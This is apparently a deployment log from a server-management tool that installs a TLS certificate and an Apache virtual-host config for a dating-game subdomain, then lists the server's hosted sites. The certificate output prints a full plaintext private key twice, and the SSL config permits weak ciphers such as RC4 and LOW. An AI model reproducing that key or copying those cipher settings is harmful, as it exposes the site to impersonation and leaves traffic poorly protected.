ZcJY0g3wGpv3PqohtixBRGL7AHeZz9zDQRgq66+gomGKJVa4NE8Eig5Q+S6A819r
q+ktAlrtmIFFl7ZB4twVb7e0mW7JaJnOb6Jf1v0CAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS0afELHV4dcFoOqtwo23HusjR6rDAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmRhdGluZ2dhbWUuZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTQuY3JsMIIBDgYKKwYBBAHWeQIEAgSB
/wSB/AD6AHcAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGeWJLf
kwAABAMASDBGAiEArQtOsqP90RSLel1mpOmjE5UFemNfwhRoDbvoYHUSPhMCIQDF
cLWdRS7ECM45I6t92h2wUHCjTFSTxrmcioz9W04mDwB/AKgmy+MKxjUSRlM/4GXx
TxnZbhkIE8Qd2W15ALMSPFUnAAABnliS4xoACAAABQAMSGp9BAMASDBGAiEA27wv
rDkmww/jqQt+N4cxGdq2PT/b68xkta5T3l+I2e8CIQCZge39sjp91sYBR4+X4VPg
GsiBdfcYFTVaZD49Oduv1DANBgkqhkiG9w0BAQsFAAOCAQEAHfpwTvTcgTloBTim
87RN6xs36t59WvFyv4QS/8p16Ywu8Oja3sKbOPO4HpFyJenNY5ItfnEMLfOjdIAl
zDpKupmV8YOMDxd5V/+w8f8eXR8NePkkafS/m5aGvOA+spVzKUUt3pQb8wTuYxjD
64daXh7w1fW8jIta+IDhH9FmruJt19xmhZUpr35ht3Edaxg/JrpRmV7KXsQkI+PW
ImRU0ZqUlpJuLfOFy4ZRfmWArjAuZ7aTkRE/suctE3XF6D9XNdGYFhjPADLG+aKK
jsIXd/SB1+cYSgCiHO3ByMZr6pAR7hS2D76QVBs4Pi+JUOokZsr+Vwmo8qBrOd0F
HUntAg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCq4TEbxNTyXHSa
9od0ZdEuFOe3PSrXtII+r42LKBByYOQ1X4zd0lTCx/j9zsLV95vaeUwmSqvXepJ4
7K82B8BkdT4tnr0qOTdzKUcjqWReKpfQdiPFJCB8zuq+rK9u2yQL6Fzhkjdu7JEb
bgJVHDVOpv01OIpRDL+CC9WKWZxDX4wGPHrJuXeTO36HCWbLMN7f6QWADhiyWQNV
XA3JBKc20tSifQLTUG2lZ+BGz3DsWEzM+WXCWNIN8Bqb9z6qIbYsQURi+wB3mc/c
w0EYKuuvoKJhiiVWuDRPBIoOUPkugPNfa6vpLQJa7ZiBRZe2QeLcFW+3tJluyWiZ
zm+iX9b9AgMBAAECggEASlTC4+1vJC4Lmwz6RyuzHnSBhzfYVxRyQ4ph69J1tQto
ub7iq+s+a6xJJz61ihW3egWhllaNAaKT7H4oiTw9+HT3oyiV6LQS5slh5KVev4eP
mmKJlMvuRdxMSL0dYv94YqWlIYpVCq9lP6VO5m7q0VfadTgvEqqU86DqNtBcJQHI
Xjzk9jN/SzgCYRZCRjvHbxkvNpIGyyaraxjZHRgyQ5689/N3TknVKpGLeKREnpqr
GeNNQZox7mfQtVaF7Gqj3ZPQpCaDDAo+OY3NgOWPdl1YC0FnWCRayWG+dfXVwFBv
ZMBb5a0PwbJRtNM5zOrXxzlPwf7fn6VpylbcfkczkQKBgQDkgqf6kk/uq8IRJBq2
7BOvZlp7JubzCh9OhnkQrbA+VYOF3j/WAW8szemCeSN/ESZCV6QZY0512LFyws9w
ynyuXhv9rkDDkwrC6pO6NApDA2u2rTZ39x+4BiSoNo6Rr2qMbaX1IruqAhWKb+07
okYNB/aEYscrfTx+mPmjNqcf8wKBgQC/b7SDNLbSFZDL9Arak2Byugb1ZCtNMbaK
TJp3ADwGpCpXSpMsceRiGY/E6MscnGDUNutFW9k55jSkWouYitVEpr6Y/5eCu9mi
sn/se9xofBpauhjRPkz950adM+1CVgwq6XDwA1FvfZI7el25XD+cDRRnZ542Ps3z
qvoqYGjZTwKBgB/i33/GlOLQEteDezrVPHX4SV3v8sAtRGsXtqMOKY65Lg4rEitR
rerJnPD46Gwdv4H4asykH9mv8Cr8ZifuCXHnbe57N0xTI2hJhW2xP1FUk94802Hw
GPv713eljUVk/fA0iLjpLNivS8QylB8DKNU+rDaS9gnqgtuDiyosQSvjAoGAXLSC
rRtFAX2yDiKTcv/1r/lIT2N/2LUfWd/42XICn5C2dGlH1jkdSShpyAiX+7X66ini
S0dMbc5+Zaz3dxqcZs9882iq/YNsxG4+ps3gkbSvqon+ZK4P6NEsEArKddpnsAw2
RfTFZgFgZG9Anff/Udm/rMewBULqx3pgBU+E1t8CgYB0PXB9CXdVyKSSCD5KfB/R
v7QnSfk+mQlW8hzac0I/b1qKWHp0kt5mv2duCU48UiM+mGdl6FRYiiEqSX2IaxM6
nwJphHxaQWrdrlZrGb6vBGHVJJZkynfXQcoMiIeQSArYM+pJfaEbysp33tmv5j2m
mHPvevprFKuapOV2GZvfPQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:01:22: 

chmod 755 /tmp/pkp890055; /tmp/pkp890055; rm /tmp/pkp890055

2026-05-24 06:01:22: 


dir=/etc/ssl/certs


2026-05-24 06:01:22: 

PUT: /tmp/pkp770736

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:01:22: 

chmod 755 /tmp/pkp770736; /tmp/pkp770736; rm /tmp/pkp770736

2026-05-24 06:01:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-24 06:01:22: 

PUT: /tmp/pkp879751

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi


2026-05-24 06:01:23: 

chmod 755 /tmp/pkp879751; /tmp/pkp879751; rm /tmp/pkp879751

2026-05-24 06:01:23: 




2026-05-24 06:01:23: 

PUT: /tmp/pkp324074

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:01:23: 

chmod 755 /tmp/pkp324074; /tmp/pkp324074; rm /tmp/pkp324074

2026-05-24 06:01:23: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:23: Establishing a connection
2026-05-24 06:01:23: 

PUT: /tmp/pkp957974

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:01:23: 

chmod 755 /tmp/pkp957974; /tmp/pkp957974; rm /tmp/pkp957974

2026-05-24 06:01:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:23: 

PUT: /tmp/pkp169560

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:23: 

chmod 755 /tmp/pkp169560; /tmp/pkp169560; rm /tmp/pkp169560

2026-05-24 06:01:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf	1409

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-24 06:01:23: 

PUT: /tmp/pkp809485

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:23: 

chmod 755 /tmp/pkp809485; /tmp/pkp809485; rm /tmp/pkp809485

2026-05-24 06:01:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt	5381
5d:95:90:e1:9e:b1:4f:17:d9:e0:94:8a:94:37:3e:b9

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBWT7bqNytvQzRAww+tTQUJ4NMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjUwWhcNMjYwODIyMDUwMjQ5WjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKrhMRvE1PJcdJr2h3Rl0S4U57c9Kte0gj6vjYsoEHJg5DVf
jN3SVMLH+P3OwtX3m9p5TCZKq9d6knjsrzYHwGR1Pi2evSo5N3MpRyOpZF4ql9B2
I8UkIHzO6r6sr27bJAvoXOGSN27skRtuAlUcNU6m/TU4ilEMv4IL1YpZnENfjAY8
esm5d5M7focJZssw3t/pBYAOGLJZA1VcDckEpzbS1KJ9AtNQbaVn4EbPcOxYTMz5
ZcJY0g3wGpv3PqohtixBRGL7AHeZz9zDQRgq66+gomGKJVa4NE8Eig5Q+S6A819r
q+ktAlrtmIFFl7ZB4twVb7e0mW7JaJnOb6Jf1v0CAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS0afELHV4dcFoOqtwo23HusjR6rDAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmRhdGluZ2dhbWUuZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTQuY3JsMIIBDgYKKwYBBAHWeQIEAgSB
/wSB/AD6AHcAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGeWJLf
kwAABAMASDBGAiEArQtOsqP90RSLel1mpOmjE5UFemNfwhRoDbvoYHUSPhMCIQDF
cLWdRS7ECM45I6t92h2wUHCjTFSTxrmcioz9W04mDwB/AKgmy+MKxjUSRlM/4GXx
TxnZbhkIE8Qd2W15ALMSPFUnAAABnliS4xoACAAABQAMSGp9BAMASDBGAiEA27wv
rDkmww/jqQt+N4cxGdq2PT/b68xkta5T3l+I2e8CIQCZge39sjp91sYBR4+X4VPg
GsiBdfcYFTVaZD49Oduv1DANBgkqhkiG9w0BAQsFAAOCAQEAHfpwTvTcgTloBTim
87RN6xs36t59WvFyv4QS/8p16Ywu8Oja3sKbOPO4HpFyJenNY5ItfnEMLfOjdIAl
zDpKupmV8YOMDxd5V/+w8f8eXR8NePkkafS/m5aGvOA+spVzKUUt3pQb8wTuYxjD
64daXh7w1fW8jIta+IDhH9FmruJt19xmhZUpr35ht3Edaxg/JrpRmV7KXsQkI+PW
ImRU0ZqUlpJuLfOFy4ZRfmWArjAuZ7aTkRE/suctE3XF6D9XNdGYFhjPADLG+aKK
jsIXd/SB1+cYSgCiHO3ByMZr6pAR7hS2D76QVBs4Pi+JUOokZsr+Vwmo8qBrOd0F
HUntAg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCq4TEbxNTyXHSa
9od0ZdEuFOe3PSrXtII+r42LKBByYOQ1X4zd0lTCx/j9zsLV95vaeUwmSqvXepJ4
7K82B8BkdT4tnr0qOTdzKUcjqWReKpfQdiPFJCB8zuq+rK9u2yQL6Fzhkjdu7JEb
bgJVHDVOpv01OIpRDL+CC9WKWZxDX4wGPHrJuXeTO36HCWbLMN7f6QWADhiyWQNV
XA3JBKc20tSifQLTUG2lZ+BGz3DsWEzM+WXCWNIN8Bqb9z6qIbYsQURi+wB3mc/c
w0EYKuuvoKJhiiVWuDRPBIoOUPkugPNfa6vpLQJa7ZiBRZe2QeLcFW+3tJluyWiZ
zm+iX9b9AgMBAAECggEASlTC4+1vJC4Lmwz6RyuzHnSBhzfYVxRyQ4ph69J1tQto
ub7iq+s+a6xJJz61ihW3egWhllaNAaKT7H4oiTw9+HT3oyiV6LQS5slh5KVev4eP
mmKJlMvuRdxMSL0dYv94YqWlIYpVCq9lP6VO5m7q0VfadTgvEqqU86DqNtBcJQHI
Xjzk9jN/SzgCYRZCRjvHbxkvNpIGyyaraxjZHRgyQ5689/N3TknVKpGLeKREnpqr
GeNNQZox7mfQtVaF7Gqj3ZPQpCaDDAo+OY3NgOWPdl1YC0FnWCRayWG+dfXVwFBv
ZMBb5a0PwbJRtNM5zOrXxzlPwf7fn6VpylbcfkczkQKBgQDkgqf6kk/uq8IRJBq2
7BOvZlp7JubzCh9OhnkQrbA+VYOF3j/WAW8szemCeSN/ESZCV6QZY0512LFyws9w
ynyuXhv9rkDDkwrC6pO6NApDA2u2rTZ39x+4BiSoNo6Rr2qMbaX1IruqAhWKb+07
okYNB/aEYscrfTx+mPmjNqcf8wKBgQC/b7SDNLbSFZDL9Arak2Byugb1ZCtNMbaK
